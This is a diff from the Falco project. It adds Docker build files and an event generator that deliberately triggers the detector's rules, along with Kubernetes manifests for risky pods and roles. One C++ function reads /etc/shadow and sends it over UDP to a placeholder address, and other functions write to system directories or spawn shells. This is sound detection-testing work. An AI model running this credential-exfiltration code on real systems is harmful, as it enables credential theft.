+	&& curl -o gcc-6-base_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/gcc-6-base_6.3.0-18_amd64.deb \
+	&& curl -o gcc-6_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/gcc-6_6.3.0-18_amd64.deb \
+	&& curl -o libasan3_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libasan3_6.3.0-18_amd64.deb \
+	&& curl -o libcilkrts5_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libcilkrts5_6.3.0-18_amd64.deb \
+	&& curl -o libgcc-6-dev_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libgcc-6-dev_6.3.0-18_amd64.deb \
+	&& curl -o libubsan0_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libubsan0_6.3.0-18_amd64.deb \
+	&& curl -o libmpfr4_3.1.3-2_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libmpfr4_3.1.3-2_amd64.deb \
+	&& curl -o libisl15_0.18-1_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libisl15_0.18-1_amd64.deb \
+	&& dpkg -i cpp-6_6.3.0-18_amd64.deb gcc-6-base_6.3.0-18_amd64.deb gcc-6_6.3.0-18_amd64.deb libasan3_6.3.0-18_amd64.deb libcilkrts5_6.3.0-18_amd64.deb libgcc-6-dev_6.3.0-18_amd64.deb libubsan0_6.3.0-18_amd64.deb libmpfr4_3.1.3-2_amd64.deb libisl15_0.18-1_amd64.deb \
+	&& rm -f cpp-6_6.3.0-18_amd64.deb gcc-6-base_6.3.0-18_amd64.deb gcc-6_6.3.0-18_amd64.deb libasan3_6.3.0-18_amd64.deb libcilkrts5_6.3.0-18_amd64.deb libgcc-6-dev_6.3.0-18_amd64.deb libubsan0_6.3.0-18_amd64.deb libmpfr4_3.1.3-2_amd64.deb libisl15_0.18-1_amd64.deb
+
+# gcc 5 is no longer included in debian unstable, but we need it to
+# build centos kernels, which are 3.x based and explicitly want a gcc
+# version 3, 4, or 5 compiler. So grab copies we've saved from debian
+# snapshots with the prefix https://snapshot.debian.org/archive/debian/20190122T000000Z.
+
+RUN curl -o cpp-5_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/cpp-5_5.5.0-12_amd64.deb \
+	&& curl -o gcc-5-base_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-5-base_5.5.0-12_amd64.deb \
+	&& curl -o gcc-5_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-5_5.5.0-12_amd64.deb \
+	&& curl -o libasan2_5.5.0-12_amd64.deb	https://s3.amazonaws.com/download.draios.com/dependencies/libasan2_5.5.0-12_amd64.deb \
+	&& curl -o libgcc-5-dev_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libgcc-5-dev_5.5.0-12_amd64.deb \
+	&& curl -o libisl15_0.18-4_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libisl15_0.18-4_amd64.deb \
+	&& curl -o libmpx0_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libmpx0_5.5.0-12_amd64.deb \
+	&& dpkg -i cpp-5_5.5.0-12_amd64.deb gcc-5-base_5.5.0-12_amd64.deb gcc-5_5.5.0-12_amd64.deb libasan2_5.5.0-12_amd64.deb libgcc-5-dev_5.5.0-12_amd64.deb libisl15_0.18-4_amd64.deb libmpx0_5.5.0-12_amd64.deb \
+	&& rm -f cpp-5_5.5.0-12_amd64.deb gcc-5-base_5.5.0-12_amd64.deb gcc-5_5.5.0-12_amd64.deb libasan2_5.5.0-12_amd64.deb libgcc-5-dev_5.5.0-12_amd64.deb libisl15_0.18-4_amd64.deb libmpx0_5.5.0-12_amd64.deb
+
+# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
+# default to gcc-5.
+RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
+
+RUN rm -rf /usr/bin/clang \
+	&& rm -rf /usr/bin/llc \
+	&& ln -s /usr/bin/clang-7 /usr/bin/clang \
+	&& ln -s /usr/bin/llc-7 /usr/bin/llc
+
+RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
+	&& curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
+	&& apt-get update \
+	&& apt-get install -y --no-install-recommends falco \
+	&& apt-get clean \
+	&& rm -rf /var/lib/apt/lists/*
+
+# Change the falco config within the container to enable ISO 8601
+# output.
+RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
+	&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
+
+# Some base images have an empty /lib/modules by default
+# If it's not empty, docker build will fail instead of
+# silently overwriting the existing directory
+RUN rm -df /lib/modules \
+	&& ln -s $HOST_ROOT/lib/modules /lib/modules
+
+# debian:unstable head contains binutils 2.31, which generates
+# binaries that are incompatible with kernels < 4.16. So manually
+# forcibly install binutils 2.30-22 instead.
+RUN curl -s -o binutils_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils_2.30-22_amd64.deb \
+	&& curl -s -o libbinutils_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libbinutils_2.30-22_amd64.deb \
+	&& curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
+	&& curl -s -o binutils-common_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils-common_2.30-22_amd64.deb \
+	&& dpkg -i *binutils*.deb \
+	&& rm -f *binutils*.deb
+
+COPY ./docker-entrypoint.sh /
+
+ENTRYPOINT ["/docker-entrypoint.sh"]
+
+CMD ["/usr/bin/falco", "-o", "time_format_iso_8601=true"]

docker/dev/docker-entrypoint.sh

@@ -1,6 +1,6 @@
 #!/usr/bin/env bash
 #
-# Copyright (C) 2020 The Falco Authors.
+# Copyright (C) 2019 The Falco Authors.
 #
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,18 +16,19 @@
 # limitations under the License.
 #
 
-# Set the SKIP_DRIVER_LOADER variable to skip loading the driver
+# set -e
 
-if [[ -z "${SKIP_DRIVER_LOADER}" ]]; then
+# Set the SKIP_MODULE_LOAD variable to skip loading the kernel module
+
+if [[ -z "${SKIP_MODULE_LOAD}" ]]; then
     echo "* Setting up /usr/src links from host"
 
     for i in "$HOST_ROOT/usr/src"/*
     do
-        base=$(basename "$i")
-        ln -s "$i" "/usr/src/$base"
+        ln -s "$i" "/usr/src/$i"
     done
 
-    /usr/bin/falco-driver-loader
+    /usr/bin/falco-probe-loader
 fi
 
 exec "$@"

docker/driver-loader/Dockerfile

@@ -1,13 +0,0 @@
-ARG FALCO_IMAGE_TAG=latest
-FROM falcosecurity/falco:${FALCO_IMAGE_TAG}
-
-LABEL maintainer="cncf-falco-dev@lists.cncf.io"
-
-LABEL usage="docker run -i -t --privileged -v /root/.falco:/root/.falco -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc:ro --name NAME IMAGE"
-
-ENV HOST_ROOT /host
-ENV HOME /root
-
-COPY ./docker-entrypoint.sh /
-
-ENTRYPOINT ["/docker-entrypoint.sh"]

docker/event-generator/Dockerfile

@@ -0,0 +1,10 @@
+FROM alpine:latest
+LABEL maintainer="opensource@sysdig.com"
+RUN apk add --no-cache bash g++ curl
+COPY ./event_generator.cpp /usr/local/bin
+COPY ./docker-entrypoint.sh ./k8s_event_generator.sh /
+COPY ./yaml /yaml
+RUN mkdir -p /var/lib/rpm
+RUN g++ --std=c++0x /usr/local/bin/event_generator.cpp -o /usr/local/bin/event_generator
+RUN curl -o /usr/local/bin/kubectl -LO https://storage.googleapis.com/kubernetes-release/release/`curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt`/bin/linux/amd64/kubectl && chmod +x /usr/local/bin/kubectl
+ENTRYPOINT ["/docker-entrypoint.sh"]

docker/event-generator/Makefile

@@ -1,5 +1,5 @@
 #
-# Copyright (C) 2020 The Falco Authors.
+# Copyright (C) 2019 The Falco Authors.
 #
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
@@ -14,10 +14,5 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 #
-- rule: My Rule
-  desc: Some desc
-  condition: evt.type=open and proc.name=cat
-  output: Some output
-  exceptions:
-    - name: ex1
-  priority: error
+image:
+	docker build -t sysdig/falco-event-generator:latest .

docker/event-generator/docker-entrypoint.sh

@@ -0,0 +1,21 @@
+#!/bin/bash
+
+CMD=${1:-syscall}
+
+shift
+
+set -euo pipefail
+
+if [[ "$CMD" == "syscall" ]]; then
+    /usr/local/bin/event_generator
+elif [[ "$CMD" == "k8s_audit" ]]; then
+    . k8s_event_generator.sh
+elif [[ "$CMD" == "bash" ]]; then
+    bash
+else
+    echo "Unknown command. Can be one of"
+    echo "   \"syscall\": generate falco syscall-related activity"
+    echo "   \"k8s_audit\": generate falco k8s audit-related activity"
+    echo "   \"bash\": spawn a shell"
+    exit 1
+fi

docker/event-generator/event_generator.cpp

@@ -0,0 +1,535 @@
+/*
+Copyright (C) 2019 The Falco Authors.
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
+*/
+
+#include <cstdio>
+#include <utility>
+#include <map>
+#include <set>
+#include <string>
+#include <fstream>
+#include <sstream>
+#include <cstring>
+#include <cstdlib>
+#include <unistd.h>
+#include <getopt.h>
+#include <errno.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <pwd.h>
+#include <sys/socket.h>
+#include <arpa/inet.h>
+
+using namespace std;
+
+void usage(char *program)
+{
+	printf("Usage %s [options]\n\n", program);
+	printf("Options:\n");
+	printf("     -h/--help: show this help\n");
+	printf("     -a/--action: actions to perform. Can be one of the following:\n");
+	printf("          write_binary_dir                           Write to files below /bin\n");
+	printf("          write_etc                                  Write to files below /etc\n");
+	printf("          read_sensitive_file                        Read a sensitive file\n");
+	printf("          read_sensitive_file_after_startup          As a trusted program, wait a while,\n");
+	printf("                                                     then read a sensitive file\n");
+	printf("          write_rpm_database                         Write to files below /var/lib/rpm\n");
+	printf("          spawn_shell                                Run a shell (bash)\n");
+	printf("                                                     Used by spawn_shell_under_httpd below\n");
+	printf("          spawn_shell_under_httpd                    Run a shell (bash) under a httpd process\n");
+	printf("          db_program_spawn_process                   As a database program, try to spawn\n");
+	printf("                                                     another program\n");
+	printf("          modify_binary_dirs                         Modify a file below /bin\n");
+	printf("          mkdir_binary_dirs                          Create a directory below /bin\n");
+	printf("          change_thread_namespace                    Change namespace\n");
+	printf("          system_user_interactive                    Change to a system user and try to\n");
+	printf("                                                     run an interactive command\n");
+	printf("          network_activity                           Open network connections\n");
+	printf("                                                     (used by system_procs_network_activity below)\n");
+	printf("          system_procs_network_activity              Open network connections as a program\n");
+	printf("                                                     that should not perform network actions\n");
+	printf("          non_sudo_setuid                            Setuid as a non-root user\n");
+	printf("          create_files_below_dev                     Create files below /dev\n");
+	printf("          exec_ls                                    execve() the program ls\n");
+	printf("                                                     (used by user_mgmt_binaries, db_program_spawn_process)\n");
+	printf("          user_mgmt_binaries                         Become the program \"vipw\", which triggers\n");
+	printf("                                                     rules related to user management programs\n");
+	printf("          exfiltration                               Read /etc/shadow and send it via udp to a\n");
+	printf("                                                     specific address and port\n");
+	printf("          all                                        All of the above\n");
+	printf("       The action can also be specified via the environment variable EVENT_GENERATOR_ACTIONS\n");
+	printf("           as a colon-separated list\n");
+	printf("       if specified, -a/--action overrides any environment variables\n");
+	printf("     -i/--interval: Number of seconds between actions\n");
+	printf("     -o/--once: Perform actions once and exit\n");
+}
+
+void open_file(const char *filename, const char *flags)
+{
+	FILE *f = fopen(filename, flags);
+	if(f)
+	{
+		fclose(f);
+	}
+	else
+	{
+		fprintf(stderr, "Could not open %s for writing: %s\n", filename, strerror(errno));
+	}
+}
+
+void exfiltration()
+{
+	ifstream shadow;
+
+	shadow.open("/etc/shadow");
+
+	printf("Reading /etc/shadow and sending to 10.5.2.6:8197...\n");
+
+	if(!shadow.is_open())
+	{
+		fprintf(stderr, "Could not open /etc/shadow for reading: %s", strerror(errno));
+		return;
+	}
+
+	string line;
+	string shadow_contents;
+	while(getline(shadow, line))
+	{
+		shadow_contents += line;
+		shadow_contents += "\n";
+	}
+
+	int rc;
+	ssize_t sent;
+	int sock = socket(PF_INET, SOCK_DGRAM, 0);
+	struct sockaddr_in dest;
+
+	dest.sin_family = AF_INET;
+	dest.sin_port = htons(8197);
+	inet_aton("10.5.2.6", &(dest.sin_addr));
+
+	if((rc = connect(sock, (struct sockaddr *)&dest, sizeof(dest))) != 0)
+	{
+		fprintf(stderr, "Could not bind listening socket to dest: %s\n", strerror(errno));
+		return;
+	}
+
+	if((sent = send(sock, shadow_contents.c_str(), shadow_contents.size(), 0)) != shadow_contents.size())
+	{
+		fprintf(stderr, "Could not send shadow contents via udp datagram: %s\n", strerror(errno));
+		return;
+	}
+
+	close(sock);
+}
+
+void touch(const char *filename)
+{
+	open_file(filename, "w");
+}
+
+void read(const char *filename)
+{
+	open_file(filename, "r");
+}
+
+void become_user(const char *user)
+{
+	struct passwd *pw;
+	pw = getpwnam(user);
+	if(pw == NULL)
+	{
+		fprintf(stderr, "Could not find user information for \"%s\" user: %s\n", user, strerror(errno));
+		exit(1);
+	}
+
+	int rc = setuid(pw->pw_uid);
+
+	if(rc != 0)
+	{
+		fprintf(stderr, "Could not change user to \"%s\" (uid %u): %s\n", user, pw->pw_uid, strerror(errno));
+		exit(1);
+	}
+}
+
+void spawn(const char *cmd, char **argv, char **env)
+{
+	pid_t child;
+
+	// Fork a process, that way proc.duration is reset
+	if((child = fork()) == 0)
+	{
+		execve(cmd, argv, env);
+		fprintf(stderr, "Could not exec to spawn %s: %s\n", cmd, strerror(errno));
+	}
+	else
+	{
+		int status;
+		waitpid(child, &status, 0);
+	}
+}
+
+void respawn(const char *cmd, const char *action, const char *interval)
+{
+	char *argv[] = {(char *)cmd,
+			(char *)"--action", (char *)action,
+			(char *)"--interval", (char *)interval,
+			(char *)"--once", NULL};
+
+	char *env[] = {NULL};
+
+	spawn(cmd, argv, env);
+}
+
+void write_binary_dir()
+{
+	printf("Writing to /bin/created-by-event-generator-sh...\n");
+	touch("/bin/created-by-event-generator-sh");
+}
+
+void write_etc()
+{
+	printf("Writing to /etc/created-by-event-generator-sh...\n");
+	touch("/etc/created-by-event-generator-sh");
+}
+
+void read_sensitive_file()
+{
+	printf("Reading /etc/shadow...\n");
+	read("/etc/shadow");
+}
+
+void read_sensitive_file_after_startup()
+{
+	printf("Becoming the program \"httpd\", sleeping 6 seconds and reading /etc/shadow...\n");
+	respawn("./httpd", "read_sensitive_file", "6");
+}
+
+void write_rpm_database()
+{
+	printf("Writing to /var/lib/rpm/created-by-event-generator-sh...\n");
+	touch("/var/lib/rpm/created-by-event-generator-sh");
+}
+
+void spawn_shell()
+{
+	printf("Spawning a shell to run \"ls > /dev/null\" using system()...\n");
+	int rc;
+
+	if((rc = system("ls > /dev/null")) != 0)
+	{
+		fprintf(stderr, "Could not run ls > /dev/null in a shell: %s\n", strerror(errno));
+	}
+}
+
+void spawn_shell_under_httpd()
+{
+	printf("Becoming the program \"httpd\" and then spawning a shell\n");
+	respawn("./httpd", "spawn_shell", "0");
+}
+
+void db_program_spawn_process()
+{
+	printf("Becoming the program \"mysql\" and then running ls\n");
+	respawn("./mysqld", "exec_ls", "0");
+}
+
+void modify_binary_dirs()
+{
+	printf("Moving /bin/true to /bin/true.event-generator-sh and back...\n");
+
+	if(rename("/bin/true", "/bin/true.event-generator-sh") != 0)
+	{
+		fprintf(stderr, "Could not rename \"/bin/true\" to \"/bin/true.event-generator-sh\": %s\n", strerror(errno));
+	}
+	else
+	{
+		if(rename("/bin/true.event-generator-sh", "/bin/true") != 0)
+		{
+			fprintf(stderr, "Could not rename \"/bin/true.event-generator-sh\" to \"/bin/true\": %s\n", strerror(errno));
+		}
+	}
+}
+
+void mkdir_binary_dirs()
+{
+	printf("Creating directory /bin/directory-created-by-event-generator-sh...\n");
+	if(mkdir("/bin/directory-created-by-event-generator-sh", 0644) != 0)
+	{
+		fprintf(stderr, "Could not create directory \"/bin/directory-created-by-event-generator-sh\": %s\n", strerror(errno));
+	}
+}
+
+void change_thread_namespace()
+{
+	printf("Calling setns() to change namespaces...\n");
+	printf("NOTE: does not result in a falco notification in containers, unless container run with --privileged or --security-opt seccomp=unconfined\n");
+	// It doesn't matter that the arguments to setns are
+	// bogus. It's the attempt to call it that will trigger the
+	// rule.
+	setns(0, 0);
+}
+
+void system_user_interactive()
+{
+	pid_t child;
+
+	printf("Forking a child that becomes user=daemon and then tries to run /bin/login...\n");
+	// Fork a child and do everything in the child.
+	if((child = fork()) == 0)
+	{
+		become_user("daemon");
+		char *argv[] = {(char *)"/bin/login", NULL};
+		char *env[] = {NULL};
+		spawn("/bin/login", argv, env);
+		exit(0);
+	}
+	else
+	{
+		int status;
+		waitpid(child, &status, 0);
+	}
+}
+
+void network_activity()
+{
+	printf("Connecting a udp socket to 10.2.3.4:8192...\n");
+	int rc;
+	int sock = socket(PF_INET, SOCK_DGRAM, 0);
+	struct sockaddr_in localhost;
+
+	localhost.sin_family = AF_INET;
+	localhost.sin_port = htons(8192);
+	inet_aton("10.2.3.4", &(localhost.sin_addr));
+
+	if((rc = connect(sock, (struct sockaddr *)&localhost, sizeof(localhost))) != 0)
+	{
+		fprintf(stderr, "Could not bind listening socket to localhost: %s\n", strerror(errno));
+		return;
+	}
+
+	close(sock);
+}
+
+void system_procs_network_activity()
+{
+	printf("Becoming the program \"sha1sum\" and then performing network activity\n");
+	respawn("./sha1sum", "network_activity", "0");
+}
+
+void non_sudo_setuid()
+{
+	pid_t child;
+
+	printf("Forking a child that becomes \"daemon\" user and then \"root\"...\n");
+
+	// Fork a child and do everything in the child.
+	if((child = fork()) == 0)
+	{
+		// First setuid to something non-root. Then try to setuid back to root.
+		become_user("daemon");
+		become_user("root");
+		exit(0);
+	}
+	else
+	{
+		int status;
+		waitpid(child, &status, 0);
+	}
+}
+
+void create_files_below_dev()
+{
+	printf("Creating /dev/created-by-event-generator-sh...\n");
+	touch("/dev/created-by-event-generator-sh");
+}
+
+void exec_ls()
+{
+	char *argv[] = {(char *)"/bin/ls", NULL};
+	char *env[] = {NULL};
+	spawn("/bin/ls", argv, env);
+}
+
+void user_mgmt_binaries()
+{
+	printf("Becoming the program \"vipw\" and then running the program /bin/ls\n");
+	printf("NOTE: does not result in a falco notification in containers\n");
+	respawn("./vipw", "exec_ls", "0");
+}
+
+typedef void (*action_t)();
+
+map<string, action_t> defined_actions = {{"write_binary_dir", write_binary_dir},
+					 {"write_etc", write_etc},
+					 {"read_sensitive_file", read_sensitive_file},
+					 {"read_sensitive_file_after_startup", read_sensitive_file_after_startup},
+					 {"write_rpm_database", write_rpm_database},
+					 {"spawn_shell", spawn_shell},
+					 {"spawn_shell_under_httpd", spawn_shell_under_httpd},
+					 {"db_program_spawn_process", db_program_spawn_process},
+					 {"modify_binary_dirs", modify_binary_dirs},
+					 {"mkdir_binary_dirs", mkdir_binary_dirs},
+					 {"change_thread_namespace", change_thread_namespace},
+					 {"system_user_interactive", system_user_interactive},
+					 {"network_activity", network_activity},
+					 {"system_procs_network_activity", system_procs_network_activity},
+					 {"non_sudo_setuid", non_sudo_setuid},
+					 {"create_files_below_dev", create_files_below_dev},
+					 {"exec_ls", exec_ls},
+					 {"user_mgmt_binaries", user_mgmt_binaries},
+					 {"exfiltration", exfiltration}};
+
+// Some actions don't directly result in suspicious behavior. These
+// actions are excluded from the ones run with -a all.
+set<string> exclude_from_all_actions = {"spawn_shell", "exec_ls", "network_activity"};
+
+void create_symlinks(const char *program)
+{
+	int rc;
+
+	// Some actions depend on this program being re-run as
+	// different program names like 'mysqld', 'httpd', etc. This
+	// sets up all the required symlinks.
+	const char *progs[] = {"./httpd", "./mysqld", "./sha1sum", "./vipw", NULL};
+
+	for(unsigned int i = 0; progs[i] != NULL; i++)
+	{
+		unlink(progs[i]);
+
+		if((rc = symlink(program, progs[i])) != 0)
+		{
+			fprintf(stderr, "Could not link \"./event_generator\" to \"%s\": %s\n", progs[i], strerror(errno));
+		}
+	}
+}
+
+void run_actions(map<string, action_t> &actions, int interval, bool once)
+{
+	while(true)
+	{
+		for(auto action : actions)
+		{
+			printf("***Action %s\n", action.first.c_str());
+			action.second();
+			sleep(interval);
+		}
+		if(once)
+		{
+			break;
+		}
+	}
+}
+
+int main(int argc, char **argv)
+{
+	map<string, action_t> actions;
+	int op;
+	int long_index = 0;
+	int interval = 1;
+	bool once = false;
+	map<string, action_t>::iterator it;
+
+	static struct option long_options[] =
+		{
+			{"help", no_argument, 0, 'h'},
+			{"action", required_argument, 0, 'a'},
+			{"interval", required_argument, 0, 'i'},
+			{"once", no_argument, 0, 'o'},
+
+			{0, 0}};
+
+	//
+	// Parse the args
+	//
+	while((op = getopt_long(argc, argv,
+				"ha:i:l:o",
+				long_options, &long_index)) != -1)
+	{
+		switch(op)
+		{
+		case 'h':
+			usage(argv[0]);
+			exit(1);
+		case 'a':
+			// "all" is already implied
+			if(strcmp(optarg, "all") != 0)
+			{
+				if((it = defined_actions.find(optarg)) == defined_actions.end())
+				{
+					fprintf(stderr, "No action with name \"%s\" known, exiting.\n", optarg);
+					exit(1);
+				}
+				actions.insert(*it);
+			}
+			break;
+		case 'i':
+			interval = atoi(optarg);
+			break;
+		case 'o':
+			once = true;
+			break;
+		default:
+			usage(argv[0]);
+			exit(1);
+		}
+	}
+
+	//
+	// Also look for actions in the environment. If specified, they
+	// override any specified on the command line.
+	//
+	char *env_action = getenv("EVENT_GENERATOR_ACTIONS");
+
+	if(env_action)
+	{
+		actions.clear();
+
+		string envs(env_action);
+		istringstream ss(envs);
+		string item;
+		while(std::getline(ss, item, ':'))
+		{
+			if((it = defined_actions.find(item)) == defined_actions.end())
+			{
+				fprintf(stderr, "No action with name \"%s\" known, exiting.\n", item.c_str());
+				exit(1);
+			}
+			actions.insert(*it);
+		}
+	}
+
+	if(actions.size() == 0)
+	{
+		for(auto &act : defined_actions)
+		{
+			if(exclude_from_all_actions.find(act.first) == exclude_from_all_actions.end())
+			{
+				actions.insert(act);
+			}
+		}
+	}
+
+	setvbuf(stdout, NULL, _IONBF, 0);
+	setvbuf(stderr, NULL, _IONBF, 0);
+	// Only create symlinks when running as the program event_generator
+	if(strstr(argv[0], "generator"))
+	{
+		create_symlinks(argv[0]);
+	}
+
+	run_actions(actions, interval, once);
+}

docker/event-generator/k8s_event_generator.sh

@@ -0,0 +1,57 @@
+#!/bin/bash
+
+set -euo pipefail
+
+# You can pass a specific falco rule name and only yaml files matching
+# that rule will be considered. The default is "all", meaning all yaml
+# files will be applied.
+
+RULE=${1:-all}
+
+# Replace any '/' in RULES with a '.' and any space with a dash. (K8s
+# label values can not contain slashes/spaces)
+RULE=$(echo "$RULE" | tr '/ ' '.-')
+
+echo "***Testing kubectl configuration..."
+kubectl version --short
+
+while true; do
+
+    RET=$(kubectl get namespaces --output=name | grep falco-event-generator || true)
+
+    if [[ "$RET" == *falco-event-generator* ]]; then
+	echo "***Deleting existing falco-event-generator namespace..."
+	kubectl delete namespace falco-event-generator
+    fi
+
+    echo "***Creating falco-event-generator namespace..."
+    kubectl create namespace falco-event-generator
+
+    for file in yaml/*.yaml; do
+
+	MATCH=0
+	if [[ "${RULE}" == "all" ]]; then
+	    MATCH=1
+	else
+	    RET=$(grep -E "falco.rules:.*${RULE}" $file || true)
+	    if [[ "$RET" != "" ]]; then
+		MATCH=1
+	    fi
+	fi
+
+	if [[ $MATCH == 1 ]]; then
+	    MESSAGES=$(grep -E 'message' $file | cut -d: -f2 | tr '\n' ',')
+	    RULES=$(grep -E 'falco.rules' $file | cut -d: -f2 | tr '\n' ',')
+
+	    # The message uses dashes in place of spaces, convert them back to spaces
+	    MESSAGES=$(echo "$MESSAGES" | tr '-' ' ' | sed -e 's/ *//' | sed  -e 's/,$//')
+	    RULES=$(echo "$RULES" | tr '-' ' '| tr '.' '/' | sed -e 's/ *//' | sed  -e 's/,$//')
+
+	    echo "***$MESSAGES (Rule(s) $RULES)..."
+	    kubectl apply -f $file
+	    sleep 2
+	fi
+    done
+
+    sleep 10
+done

docker/event-generator/yaml/configmap-private-creds.yaml

@@ -0,0 +1,16 @@
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: private-creds-configmap
+  namespace: falco-event-generator
+  labels:
+    app.kubernetes.io/name: private-creds-configmap
+    app.kubernetes.io/part-of: falco-event-generator
+    falco.rules: Create.Modify-Configmap-With-Private-Credentials
+    message: Creating-configmap-with-private-credentials
+data:
+  ui.properties: |
+    color.good=purple
+    color.bad=yellow
+    allow.textmode=true
+    password=some_secret_password

docker/event-generator/yaml/disallowed-pod-deployment.yaml

@@ -0,0 +1,25 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: disallowed-pod-deployment
+  namespace: falco-event-generator
+  labels:
+    app.kubernetes.io/name: disallowed-pod-deployment
+    app.kubernetes.io/part-of: falco-event-generator
+    falco.rules: Create-Disallowed-Pod
+    message: Creating-pod-with-image-outside-of-allowed-images
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app.kubernetes.io/name: disallowed-pod-busybox
+  template:
+    metadata:
+      labels:
+        app.kubernetes.io/name: disallowed-pod-busybox
+        app.kubernetes.io/part-of: falco-event-generator
+    spec:
+      containers:
+        - name: busybox
+          image: busybox
+          command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]

docker/event-generator/yaml/hostnetwork-deployment.yaml

@@ -0,0 +1,26 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: hostnetwork-deployment
+  namespace: falco-event-generator
+  labels:
+    app.kubernetes.io/name: hostnetwork-deployment
+    app.kubernetes.io/part-of: falco-event-generator
+    falco.rules: Create-HostNetwork-Pod
+    message: Creating-deployment-with-hostNetwork-true-pod
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app.kubernetes.io/name: hostnetwork-busybox
+  template:
+    metadata:
+      labels:
+        app.kubernetes.io/name: hostnetwork-busybox
+        app.kubernetes.io/part-of: falco-event-generator
+    spec:
+      hostNetwork: true
+      containers:
+        - name: busybox
+          image: busybox
+          command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]

docker/event-generator/yaml/nodeport-service.yaml

@@ -0,0 +1,16 @@
+apiVersion: v1
+kind: Service
+metadata:
+  name: nodeport-service
+  namespace: falco-event-generator
+  labels:
+    app.kubernetes.io/name: nodeport-service
+    app.kubernetes.io/part-of: falco-event-generator
+    falco.rules: Create-NodePort-Service
+    message: Creating-service-of-type-NodePort
+spec:
+  type: NodePort
+  ports:
+    - port: 80
+  selector:
+    app: busybox

docker/event-generator/yaml/privileged-deployment.yaml

@@ -0,0 +1,27 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: privileged-deployment
+  namespace: falco-event-generator
+  labels:
+    app.kubernetes.io/name: privileged-deployment
+    app.kubernetes.io/part-of: falco-event-generator
+    falco.rules: Create-Privileged-Pod
+    message: Creating-deployment-with-privileged-true-pod
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app.kubernetes.io/name: privileged-busybox
+  template:
+    metadata:
+      labels:
+        app.kubernetes.io/name: privileged-busybox
+        app.kubernetes.io/part-of: falco-event-generator
+    spec:
+      containers:
+        - securityContext:
+            privileged: true
+          name: busybox
+          image: busybox
+          command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]

docker/event-generator/yaml/role-pod-exec.yaml

@@ -0,0 +1,17 @@
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: pod-exec-role
+  namespace: falco-event-generator
+  labels:
+    app.kubernetes.io/name: pod-exec-role
+    app.kubernetes.io/part-of: falco-event-generator
+    falco.rules: ClusterRole-With-Pod-Exec-Created
+    message: Creating-role-that-can-exec-to-pods
+rules:
+- apiGroups:
+    - ""
+  resources:
+    - "pods/exec"
+  verbs:
+    - get

docker/event-generator/yaml/role-wildcard-resources.yaml

@@ -0,0 +1,17 @@
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: wildcard-resources-role
+  namespace: falco-event-generator
+  labels:
+    app.kubernetes.io/name: wildcard-resources-role
+    app.kubernetes.io/part-of: falco-event-generator
+    falco.rules: ClusterRole-With-Write-Privileges-Created
+    message: Creating-role-with-wildcard-resources
+rules:
+- apiGroups:
+    - ""
+  resources:
+    - "*"
+  verbs:
+    - get

docker/event-generator/yaml/role-write-privileges.yaml

@@ -0,0 +1,17 @@
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: write-privileges-role
+  namespace: falco-event-generator
+  labels:
+    app.kubernetes.io/name: write-privileges-role
